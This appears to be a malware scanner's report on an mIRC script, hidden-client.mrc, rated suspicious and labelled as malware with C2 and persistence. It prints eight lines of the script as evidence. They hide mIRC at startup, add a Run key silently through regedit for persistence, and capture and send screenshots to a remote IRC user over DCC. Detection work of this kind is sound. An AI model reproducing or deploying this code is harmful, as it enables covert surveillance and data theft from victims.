Suspicious ^80% Download

hidden-client.mrc

mIRC malware with C2 and persistence

mIRC dot-form dcc send commandSilent regedit file import

SHA-256dc93f3418c0bd7ee0f8077406ff7d57d5845d05b846f74b7753e43dc0ea6d71c

Evidence

mIRC dot-form dcc send command lines 1–8

1on *:START:{ .dll helper.dll HideMirc on | persist }
2alias persist {
3 write %reg [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
4 write %reg "Helper"=" $+ $replace($mircexe,\,\\) $+ "
5 run -n regedit /s %reg
6 timer 1 4 remove %reg
7}
8alias screenshot { notice $nick $dll(screen.dll,Capture,$mircdir\ $+ $ip $+ .bmp ) | .dcc send $nick $mircdir\ $+ $ip $+ .bmp }